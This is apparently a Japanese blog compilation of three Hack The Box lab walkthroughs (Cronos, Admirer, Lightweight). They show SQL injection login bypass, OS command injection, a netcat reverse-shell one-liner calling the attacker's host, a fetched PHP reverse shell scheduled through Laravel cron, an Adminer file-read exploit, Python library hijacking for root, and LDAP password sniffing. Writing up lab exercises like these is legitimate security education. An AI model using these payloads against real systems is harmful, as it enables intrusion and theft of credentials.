【Hack The Box】Cronos Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.13 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-12 23:38 JST Nmap scan report for 10.10.10.13 Host is up (0.25s latency). Not shown: 9997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA) | 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA) |_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519) 53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.10.3-P4-Ubuntu 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 78.33 seconds
22(ssh)、53(dns)、80(http)が開いている。
hostsファイルに追記
- IPアドレスを指定してアクセスするとapacheのデフォルトページが表示されるため、
/etc/hosts
にマシン名のcronos.htb
を追記する。 http://cronos.htb
を指定すると、webページが表示される。
tcp/53の調査
tcp/53はゾーン情報をやりとりするポート。ゾーン転送要求してみたら返ってきた。★をつけたホストを全部/etc/hosts
に追加する。
root@kali:~# dig axfr @10.10.10.13 cronos.htb ; <<>> DiG 9.16.8-Debian <<>> axfr @10.10.10.13 cronos.htb ; (1 server found) ;; global options: +cmd cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 cronos.htb. 604800 IN NS ns1.cronos.htb. cronos.htb. 604800 IN A 10.10.10.13 admin.cronos.htb. 604800 IN A 10.10.10.13★ ns1.cronos.htb. 604800 IN A 10.10.10.13★ www.cronos.htb. 604800 IN A 10.10.10.13★ cronos.htb. 604800 IN SOA cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800 ;; Query time: 252 msec ;; SERVER: 10.10.10.13#53(10.10.10.13) ;; WHEN: Sat Dec 12 23:55:51 JST 2020 ;; XFR size: 7 records (messages 1, bytes 203)
admin.cronos.htbの調査
ブラウザでアクセス
ログイン画面だった。
SQLi
ログイン画面といったらSQLi。以下のパターンで試したところ、4つ目(★)でログイン成功。
UserName/Password
admin/' or 1=1
admin' or 1=1 --/a
admin' or 1=1 -- /a
admin' or 1=1#/a ★これで入れた。
OSコマンドインジェクション
ログイン後の画面は、tracerouteやpingを指定したIPへ実行する機能(tracerouteは機能していない)。コマンドの結合をし、OSコマンドインジェクションを試行する。
ここにlocalhost; ls
と入れたら、返ってきた。OSコマンドインジェクションの脆弱性あり。
リバースシェル
which nc
より、nc
が入っていることが確認できたので、リバースシェル奪取を目指す。
-eオプションを指定した以下を実行したが失敗。nc
のバージョンによってはこのオプションはないため、失敗することもあるようだ。
localhost; nc -e /bin/sh 10.10.14.33 1234
以下を実行して無事成功。
localhostl; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.33 1234 >/tmp/f
user.txt獲得
root@kali:~# nc -lvp 1234 listening on [any] 1234 ... connect to [10.10.14.33] from cronos.htb [10.10.10.13] 55238 bash: cannot set terminal process group (1371): Inappropriate ioctl for device bash: no job control in this shell www-data@cronos:/var/www/admin$ www-data@cronos:/var/www/admin$ cd /home cd /home www-data@cronos:/home$ ls ls noulis www-data@cronos:/home$ cd noulis cd noulis www-data@cronos:/home/noulis$ ls ls user.txt www-data@cronos:/home/noulis$ cat user.txt cat user.txt XXXXXXXXXXXXXXXXX
権限昇格
sudo実行権限の確認
端末と紐づいていないため、そもそも実行できない。pythonでimport pty
すれば紐づけられそうだが、www-dataユーザのパスワードも発見できていないめ、やめておく。
www-data@cronos:/home/noulis$ sudo -l sudo -l sudo: no tty present and no askpass program specified
SUID
なにもなし。
www-data@cronos:/home/noulis$ find / -perm -4000 f 2>/dev/null find / -perm -4000 f 2>/dev/null www-data@cronos:/home/noulis$
cron
root権限で毎分実行されている★が気になる。
※laravel
はphpで書かれたwebアプリケーションフレームワーク
www-data@cronos:/home/noulis$ crontab -l crontab -l no crontab for www-data www-data@cronos:/home/noulis$ cat /etc/crontab cat /etc/crontab # /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) * * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 ★ #
laravelのタスクスケジュール
laravel cron
で調べると、laravelのタスクスケジュールはapp/Console/Kernel.php
で記述するという情報が見つかる。
参考:https://reffect.co.jp/laravel/laravel-task-schedule-cron
このファイルの所有者を確認した所、以下であったため、編集可能。このファイルを書き換えてroot.txtを奪取できそう。
※現在のシェルだとvimやnanoが使えないので、攻撃者環境で作成しwget
でもってくるか、sed
で対応する必要がある。
www-data@cronos:/var/www/laravel/app/Console$ ls -l ls -l total 4 -rw-r--r-- 1 www-data www-data 819 Apr 9 2017 Kernel.php
php-reverse-shell.php
php-reverse-shell.phpを毎分実行するようKernel.phpを書き換える。 github.com
攻撃者環境で待ち受けて・・・
root@kali:~/cronos# python -m SimpleHTTPServer 8888 Serving HTTP on 0.0.0.0 port 8888 ...
wget
で取りに行き、実行権限を付与する。
www-data@cronos:/tmp$ wget http://10.10.14.33:8888/php-reverse-shell.php www-data@cronos:/tmp$ chmod +x php-reverse-shell.php
Kernel.phpの書き換え
攻撃者環境で、以下の部分(★)を追記。これで毎分実行されるはず。
root@kali:~/cronos# cat Kernel.php <?php (snip) /** * Define the application's command schedule. * * @param \Illuminate\Console\Scheduling\Schedule $schedule * @return void */ protected function schedule(Schedule $schedule) { // $schedule->command('inspire') // ->hourly(); $schedule->exec('php -f /tmp/php-reverse-shell.php')->everyMinute(); ★ } (snip)
Kernel.phpを持ってくる
上述の方法と同様に、攻撃者環境で用意したKernel.phpをwget
で取りに行く。
www-data@cronos:/var/www/laravel/app/Console$ mv Kernel.php Kernerl.php_bak mv Kernel.php Kernerl.php_bak www-data@cronos:/var/www/laravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php <ravel/app/Console$ wget http://10.10.14.33:8888/Kernel.php --2020-12-12 18:59:16-- http://10.10.14.33:8888/Kernel.php Connecting to 10.10.14.33:8888... connected. HTTP request sent, awaiting response... 200 OK Length: 893 [application/octet-stream] Saving to: 'Kernel.php' 0K 100% 158M=0s 2020-12-12 18:59:17 (158 MB/s) - 'Kernel.php' saved [893/893] www-data@cronos:/var/www/laravel/app/Console$ www-data@cronos:/var/www/laravel/app/Console$ ls ls Kernel.php Kernerl.php_bak
root.txt獲得
あとはphp-reverse-shell.php
で指定したポートで待ち受けておけば、1分以内にcronが実行されて、root.txtが獲得できる。
root@kali:~/cronos# nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.14.33] from cronos.htb [10.10.10.13] 53592 Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 19:04:01 up 1:36, 0 users, load average: 0.00, 0.00, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=0(root) gid=0(root) groups=0(root) /bin/sh: 0: can't access tty; job control turned off # cd /root # cat root.txt XXXXXXXXXX
PS
/var/www/laravel/artisan
をphp-reverse-shell.php
に置き換えてもいけましたね。こっちの方が早い。
【Hack The Box】Admirer Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn 10.10.10.187 Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-12 21:49 JST Nmap scan report for 10.10.10.187 Host is up (0.24s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0) | ssh-hostkey: | 2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA) | 256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA) |_ 256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) | http-robots.txt: 1 disallowed entry |_/admin-dir |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Admirer Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 18.77 seconds
21(ftp)、22(ssh)、80(http)が開いている。 ftpでのanonymousログオンは検出されていないため、80番ポートから見ていく。
80番ポート(http)の調査
ブラウザでアクセス
こんな画面。
nmapの結果から、robots.txtを見に行く。
/admin-dirにアクセスを試みるが、403が返ってくる。
ディレクトリスキャン
/admin-dirに対してディレクトリスキャンを行う。拡張子にはHTBでありがちなtxtとapacheだからphpを指定する。
root@kali:~# gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php -t 100 =============================================================== Gobuster v3.0.1 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_) =============================================================== [+] Url: http://10.10.10.187/admin-dir [+] Threads: 100 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,403 [+] User Agent: gobuster/3.0.1 [+] Extensions: txt,php [+] Timeout: 10s =============================================================== 2020/09/12 22:44:21 Starting gobuster =============================================================== /contacts.txt (Status: 200) /credentials.txt (Status: 200) =============================================================== 2020/09/12 23:10:51 Finished ===============================================================
contacts.txtとcredentials.txtが気になる。
見つけたtxtファイルの確認
curlでローカルに持ってくる。
contacts.txt
root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/contacts.txt && cat contacts.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 350 100 350 0 0 738 0 --:--:-- --:--:-- --:--:-- 738 ########## # admins # ########## # Penny Email: p.wise@admirer.htb ############## # developers # ############## # Rajesh Email: r.nayyar@admirer.htb # Amy Email: a.bialik@admirer.htb # Leonard Email: l.galecki@admirer.htb ############# # designers # ############# # Howard Email: h.helberg@admirer.htb # Bernadette Email: b.rauch@admirer.htb
ユーザ名とメールアドレスが書かれている。
credentials.txt
root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/credentials.txt && cat credentials.txt % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 136 100 136 0 0 287 0 --:--:-- --:--:-- --:--:-- 287 [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P [FTP account] ftpuser %n?4Wz}R$tTF7 [Wordpress account] admin w0rdpr3ss01!
各サービスのユーザ名、パスワードが書かれている。
ftp接続
credentials.txtから見つけたFTP accountでftp接続し、dump.sqlとhtml.tar.gzをローカルに持ってくる。
root@kali:~/admirer# ftp 10.10.10.187 Connected to 10.10.10.187. 220 (vsFTPd 3.0.3) Name (10.10.10.187:root): ftpuser 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 3405 Dec 02 2019 dump.sql -rw-r--r-- 1 0 0 5270987 Dec 03 2019 html.tar.gz 226 Directory send OK. ftp> mget * mget dump.sql? 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for dump.sql (3405 bytes). 226 Transfer complete. 3405 bytes received in 0.00 secs (19.3289 MB/s) mget html.tar.gz? 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes). 226 Transfer complete. 5270987 bytes received in 9.73 secs (529.1583 kB/s)
ダウンロードしたファイルの確認
dump.sql
(多分)mysqldumpコマンドの実行結果。
html.tar.gz
解凍する。/utility-scripts/配下が気になる。
root@kali:~/admirer# mkdir html root@kali:~/admirer# tar -zxf html.tar.gz -C html/ root@kali:~/admirer# tree (snip) ├── html │ ├── assets │ │ ├── css │ │ │ ├── fontawesome-all.min.css │ │ │ ├── images │ │ │ │ ├── arrow.svg │ │ │ │ ├── close.svg │ │ │ │ └── spinner.svg │ │ │ ├── main.css │ │ │ └── noscript.css │ │ ├── js │ │ │ ├── breakpoints.min.js │ │ │ ├── browser.min.js │ │ │ ├── jquery.min.js │ │ │ ├── jquery.poptrox.min.js │ │ │ ├── main.js │ │ │ └── util.js │ │ ├── sass │ │ │ ├── base │ │ │ │ ├── _page.scss │ │ │ │ ├── _reset.scss │ │ │ │ └── _typography.scss │ │ │ ├── components │ │ │ │ ├── _actions.scss │ │ │ │ ├── _button.scss │ │ │ │ ├── _form.scss │ │ │ │ ├── _icon.scss │ │ │ │ ├── _icons.scss │ │ │ │ ├── _list.scss │ │ │ │ ├── _panel.scss │ │ │ │ ├── _poptrox-popup.scss │ │ │ │ └── _table.scss │ │ │ ├── layout │ │ │ │ ├── _footer.scss │ │ │ │ ├── _header.scss │ │ │ │ ├── _main.scss │ │ │ │ └── _wrapper.scss │ │ │ ├── libs │ │ │ │ ├── _breakpoints.scss │ │ │ │ ├── _functions.scss │ │ │ │ ├── _mixins.scss │ │ │ │ ├── _vars.scss │ │ │ │ └── _vendor.scss │ │ │ ├── main.scss │ │ │ └── noscript.scss │ │ └── webfonts │ │ ├── fa-brands-400.eot │ │ ├── fa-brands-400.svg │ │ ├── fa-brands-400.ttf │ │ ├── fa-brands-400.woff │ │ ├── fa-brands-400.woff2 │ │ ├── fa-regular-400.eot │ │ ├── fa-regular-400.svg │ │ ├── fa-regular-400.ttf │ │ ├── fa-regular-400.woff │ │ ├── fa-regular-400.woff2 │ │ ├── fa-solid-900.eot │ │ ├── fa-solid-900.svg │ │ ├── fa-solid-900.ttf │ │ ├── fa-solid-900.woff │ │ └── fa-solid-900.woff2 │ ├── images │ │ ├── fulls │ │ │ ├── arch01.jpg │ │ │ ├── arch02.jpg │ │ │ ├── art01.jpg │ │ │ ├── art02.jpg │ │ │ ├── eng01.jpg │ │ │ ├── eng02.jpg │ │ │ ├── mind01.jpg │ │ │ ├── mind02.jpg │ │ │ ├── mus01.jpg │ │ │ ├── mus02.jpg │ │ │ ├── nat01.jpg │ │ │ └── nat02.jpg │ │ └── thumbs │ │ ├── thmb_arch01.jpg │ │ ├── thmb_arch02.jpg │ │ ├── thmb_art01.jpg │ │ ├── thmb_art02.jpg │ │ ├── thmb_eng01.jpg │ │ ├── thmb_eng02.jpg │ │ ├── thmb_mind01.jpg │ │ ├── thmb_mind02.jpg │ │ ├── thmb_mus01.jpg │ │ ├── thmb_mus02.jpg │ │ ├── thmb_nat01.jpg │ │ └── thmb_nat02.jpg │ ├── index.php │ ├── robots.txt │ ├── utility-scripts │ │ ├── admin_tasks.php │ │ ├── db_admin.php │ │ ├── info.php │ │ └── phptest.php │ └── w4ld0s_s3cr3t_d1r │ ├── contacts.txt │ └── credentials.txt (snip)
/utility-scriptsの中身探索
/utility-scripts/admin_task.php
データベースへの接続方法らしきものがある。
root@kali:~/admirer# cat html/utility-scripts/admin_tasks.php <html> <head> <title>Administrative Tasks</title> </head> <body> <h3>Admin Tasks Web Interface (v0.01 beta)</h3> <?php // Web Interface to the admin_tasks script // if(isset($_REQUEST['task'])) { $task = $_REQUEST['task']; if($task == '1' || $task == '2' || $task == '3' || $task == '4' || $task == '5' || $task == '6' || $task == '7') { /*********************************************************************************** Available options: 1) View system uptime 2) View logged in users 3) View crontab (current user only) 4) Backup passwd file (not working) 5) Backup shadow file (not working) 6) Backup web data (not working) 7) Backup database (not working) NOTE: Options 4-7 are currently NOT working because they need root privileges. I'm leaving them in the valid tasks in case I figure out a way to securely run code as root from a PHP page. ************************************************************************************/ echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1")); } else { echo("Invalid task."); } } ?> <p> <h4>Select task:</p> <form method="POST"> <select name="task"> <option value=1>View system uptime</option> <option value=2>View logged in users</option> <option value=3>View crontab</option> <option value=4 disabled>Backup passwd file</option> <option value=5 disabled>Backup shadow file</option> <option value=6 disabled>Backup web data</option> <option value=7 disabled>Backup database</option> </select> <input type="submit"> </form> </body> </html>
画面はこんな感じ。
db_admin.php
認証情報らしきものを発見。
root@kali:~/admirer# cat html/utility-scripts/db_admin.php <?php $servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?"; // Create connection $conn = new mysqli($servername, $username, $password); // Check connection if ($conn->connect_error) { die("Connection failed: " . $conn->connect_error); } echo "Connected successfully"; // TODO: Finish implementing this or find a better open source alternative ?>
ここで発見したアカウントでssh接続試行したが、失敗した。
Adminerに関する調査
マシン名からして、adminer
が使われていることが予想できる。(名前だけは知っていた)
adminerとは、phpMyAdminのようなデータベース管理ツール。
以下の参考サイトより、adminerの管理画面にアクセスするためには、adminer.phpにアクセスすれば良いとのことが分かる。
Adminer インストール|Zenlogicサポートサイト[IDCフロンティア]
http://10.10.10.187/utility-scripts/adminer.phpにアクセスすると、以下のようなログイン画面が表示された。Adminerのバージョンも4.6.2と判明する。 ユーザ名、パスワードの候補は上述の通りいくつかあるが、データベース名が見当つかず、ログインはできない。
adminerの脆弱性について調べる
root@kali:~/admirer# searchsploit adminer 4 ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Exploit Title | Path ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Adminer 4.3.1 - Server-Side Request Forgery | php/webapps/43593.txt ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- --------------------------------- Shellcodes: No Results
使えそうなものはなかったため、インターネットでadminer 4.6 exploit
で検索すると、一番上に以下のサイトが見つかる。
Serious Vulnerability Discovered in Adminer database Administration Tool
二番目には脆弱性を突く手順を動画付きで解説しているページが見つかる。 Serious Vulnerability Discovered in Adminer database Administration Tool
脆弱性を突く
手順に沿って進めていく。
First
まず、攻撃者は被害者のAdminerインスタンスにアクセスしますが、被害者のMySQLデータベースに接続しようとするのではなく、自分のサーバーでホストされている自分のMySQLデータベースに「戻る」ように接続します。
root@kali:~/admirer# systemctl mysql start root@kali:~/admirer# mysql -u root MariaDB [(none)]> create database hack; MariaDB [(none)]> use hack; MariaDB [hack]> create table hack_table1(data varchar(10000)); MariaDB [hack]> create user user1 identified by 'user1password';
外部から接続できるように/etc/mysql/mariadb.conf.d/50-server.cnf
のbind-address
を変更し、サービスを再起動。
root@kali:~/admirer# cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep bind-address bind-address = 0.0.0.0 root@kali:~/admirer# systemctl restart mysql
攻撃側のIPアドレスを指定し、接続試行。 ログインできたが、「不正なデータベース」と表示される。 調べると、作成したユーザの権限はデフォルトでは何もない状態なので、それが原因かも。
MariaDB [(none)]> show grants for user1; +------------------------------------------------------------------------------------------------------+ | Grants for user1@% | +------------------------------------------------------------------------------------------------------+ | GRANT USAGE ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' | +------------------------------------------------------------------------------------------------------+ 1 row in set (0.000 sec)
USAGE という権限が設定されている。USAGE という権限は「何も権限がない」という権限とのこと。全部の権限を付与。
MariaDB [(none)]> GRANT ALL ON *.* TO user1@'%' IDENTIFIED BY 'user1password'; Query OK, 0 rows affected (0.000 sec) MariaDB [(none)]> show grants for user1; +---------------------------------------------------------------------------------------------------------------+ | Grants for user1@% | +---------------------------------------------------------------------------------------------------------------+ | GRANT ALL PRIVILEGES ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' | +---------------------------------------------------------------------------------------------------------------+ 1 row in set (0.000 sec) root@kali:~/admirer# systemctl restart mysql
行けた。
Second
第二に、被害者の Adminer (自分のデータベースに接続されている) を使用して、被害者のサーバー上のローカルファイルを指定して、MySQL コマンド 'LOAD DATA LOCAL' を使用します。このコマンドは、Adminer インスタンスのローカルファイルからデータベースにデータをロードするために使用されます。
load data local infile '../index.php' into table hack_table1 fields terminated by "\n"
実行後、「選択」をクリックするとwaldoのパスワードを発見。
$servername = "localhost"; $username = "waldo"; $password = "&<h5b~yK3F#{PaPB&dA}{H>"; $dbname = "admirerdb";
userシェル奪取
この認証情報をつかってssh接続。
root@kali:~/admirer# ssh waldo@10.10.10.187 waldo@10.10.10.187's password: Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux The programs included with the Devuan GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. You have new mail. Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3 waldo@admirer:~$ ls user.txt waldo@admirer:~$ cat user.txt XXXXXXXXXXXX
権限昇格のための情報収集
sudoの実行権限確認
waldo@admirer:~$ sudo -l [sudo] password for waldo: Matching Defaults entries for waldo on admirer: env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh
waldoはadminsグループに属しているので、admin_tasks.shが実行できるようだ。
waldo@admirer:/home$ ls -l /opt/scripts/admin_tasks.sh -rwxr-xr-x 1 root admins 2613 Dec 2 2019 /opt/scripts/admin_tasks.sh waldo@admirer:/home$ id uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)
admin_tasks.shは以下。
waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh #!/bin/bash view_uptime() (snip) view_users() (snip) view_crontab() (snip) backup_passwd() (snip) backup_shadow() (snip) backup_web() { if [ "$EUID" -eq 0 ] then echo "Running backup script in the background, it might take a while..." /opt/scripts/backup.py & ★ else echo "Insufficient privileges to perform the selected operation." fi } backup_db() (snip) echo "[[[ System Administration Menu ]]]" PS3="Choose an option: " COLUMNS=11 select opt in "${options[@]}"; do case $REPLY in 1) view_uptime ; break ;; 2) view_users ; break ;; 3) view_crontab ; break ;; 4) backup_passwd ; break ;; 5) backup_shadow ; break ;; 6) backup_web ; break ;; 7) backup_db ; break ;; 8) echo "Bye!" ; break ;; *) echo "Unknown option." >&2 esac done exit 0
6) backup_web
を選択したときに、/opt/scripts/backup.py
が実行されるようだ。
/opt/scripts/backup.pyは以下。
waldo@admirer:~$ cat /opt/scripts/backup.py #!/usr/bin/python3 from shutil import make_archive ★ src = '/var/www/html/' # old ftp directory, not used anymore #dst = '/srv/ftp/html' dst = '/var/backups/html' make_archive(dst, 'gztar', src) ★
shutilライブラリから、make_archiveを実行している。
pip show shutilでライブラリがあるpathを調べるがpip入っていなかった。pipでいれたライブラリではない。別のスクリプトからimportしていると判断。
>>> import shutil >>> print shutil.__file__ /usr/lib/python2.7/shutil.pyc ★
参考:https://www.lifewithpython.com/2014/07/python-get-location-of-libraries-modules-packages.html
pythonが見に行くライブラリ保存場所を確認。
>>> import sys >>> import pprint >>> pprint.pprint(sys.path) ['', '/usr/lib/python2.7', ★←ここにshutilがある '/usr/lib/python2.7/plat-x86_64-linux-gnu', '/usr/lib/python2.7/lib-tk', '/usr/lib/python2.7/lib-old', '/usr/lib/python2.7/lib-dynload', '/usr/local/lib/python2.7/dist-packages', '/usr/lib/python2.7/dist-packages']
上記7この場所を読み取っていることが分かる。。 tmp配下にshutil.pyを作成し、PYTHONPATHの優先順位を変える。
以下のようなshutil.pyを/tmp/hackに置く。
waldo@admirer:/tmp/hack$ cat shutil.py import os def make_archive(a, b, c): os.system("cp /root/root.txt /tmp/hack/root.txt; chmod 777 root.txt")
admin_task.shを実行して完。
waldo@admirer:/tmp/hack$ sudo PYTHONPATH=/tmp/hack /opt/scripts/admin_tasks.sh [[[ System Administration Menu ]]] 1) View system uptime 2) View logged in users 3) View crontab 4) Backup passwd file 5) Backup shadow file 6) Backup web data 7) Backup DB 8) Quit Choose an option: 6 Running backup script in the background, it might take a while... waldo@admirer:/tmp/hack$ cat root.txt XXXXXXXXXXXXXXXXXXXXXXXXXXXX
【Hack The Box】Lightweight Walkthrough
はじめに
ポートスキャン
root@kali:~# nmap -sC -sV -Pn -p 1-10000 10.10.10.119 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-01 00:39 JST Nmap scan report for lightweight.htb (10.10.10.119) Host is up (0.26s latency). Not shown: 9997 filtered ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) | ssh-hostkey: | 2048 19:97:59:9a:15:fd:d2:ac:bd:84:73:c4:29:e9:2b:73 (RSA) | 256 88:58:a1:cf:38:cd:2e:15:1d:2c:7f:72:06:a3:57:67 (ECDSA) |_ 256 31:6c:c1:eb:3b:28:0f:ad:d5:79:72:8f:f5:b5:49:db (ED25519) 80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16) |_http-title: Lightweight slider evaluation page - slendr 389/tcp open ldap OpenLDAP 2.2.X - 2.3.X | ssl-cert: Subject: commonName=lightweight.htb | Subject Alternative Name: DNS:lightweight.htb, DNS:localhost, DNS:localhost.localdomain | Not valid before: 2018-06-09T13:32:51 |_Not valid after: 2019-06-09T13:32:51 |_ssl-date: TLS randomness does not represent time Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 707.93 seconds
22(ssh)、80(http)、389(ldap)が開いている。
389ポートのLDAP通信は平文。636だと暗号化通信LDAPS。
問題タイトルもlightweightなので、LDAPに関する問題だと思われる。
80番ポート(http)の調査
トップページ
ブルートフォース対策がされているらしい。
info
ブルートフォースを検知すると、5分間アクセスできなくなるとのことなので、ディレクトリスキャンはやめておく。
status
banされているかどうか、ステータスが見れるページ。(ロードがかなり遅い(★これがそれなりに重要))
user
ユーザ名、パスワードともに自分のIPアドレスでssh接続できると記載がある。
ssh接続
webページに記載のある通り、自分のIPアドレスでログイン。
ldapuser1
とldapuser2
がいる。ディレクトリの中は見れないが、どちらかにuser.txtがあると思われる。
root@kali:~# ssh 10.10.14.33@10.10.10.119 10.10.14.33@10.10.10.119's password: [10.10.14.33@lightweight ~]$ id uid=1003(10.10.14.33) gid=1003(10.10.14.33) groups=1003(10.10.14.33) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 [10.10.14.33@lightweight ~]$ ls -l /home total 0 drwx------. 4 10.10.14.2 10.10.14.2 91 Nov 16 2018 10.10.14.2 drwx------. 4 10.10.14.33 10.10.14.33 91 Oct 31 16:17 10.10.14.33 drwx------. 4 ldapuser1 ldapuser1 181 Jun 15 2018 ldapuser1 drwx------. 4 ldapuser2 ldapuser2 197 Jun 21 2018 ldapuser2
capabilityを調べる
getcap
コマンドで、/usr/bin
と/usr/sbin
のcapabilityを調査。
[10.10.14.33@lightweight ~]$ getcap -r /usr/bin, /usr/sbin /usr/bin, (No such file or directory) /usr/sbin/mtr = cap_net_raw+ep /usr/sbin/suexec = cap_setgid,cap_setuid+ep /usr/sbin/arping = cap_net_raw+p /usr/sbin/clockdiff = cap_net_raw+p /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
tcpdumpでの通信キャプチャ
capabilityの調査で見つけたtcpdump
を使用する。
status.php
のロードが遅いことから、裏でldapの通信が走っている可能性がある。
status.php
が読み込めたくらいのタイミングで389ポートに関する通信が出力され、その中の一部にldapuser2
のパスワードが見つかる。暗号化通信ではない389ポートだから平文で見つかる。
[10.10.14.33@lightweight ~]$ tcpdump -i any port 389 -A tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on any, link-type LINUX_SLL (Linux cooked), capture size 262144 bytes (snip) w....XI...Pt.....)...... .O.<.O.<0Y...`T....-uid=ldapuser2,ou=People,dc=lightweight,dc=htb. 8bc8251332abe1d7f105d3e53ad39ac2................ 16:50:58.420116 IP lightweight.htb.ldap > lightweight.htb.39852: Flags [.], ack 92, win 683, options [nop,nop,TS val 5210940 ecr 5210940], length 0 E..4..@.@... (snip)
(おまけ)wiresharkでも見てみる
ターゲットマシンからローカルに持ってきて、wiresharkで起動。
root@kali:~/lightweight# scp 10.10.14.33@10.10.10.119:/home/10.10.14.33/ldap.pcap . root@kali:~/lightweight# wireshark ldap.pcap &
bindRequest(LDAPサーバでのユーザ認証リクエスト)でパスワードが平文で見えている。
user.txtゲット
tcpdump
を使って見つけたパスワードでldapuser2
になり、user.txtをゲット。
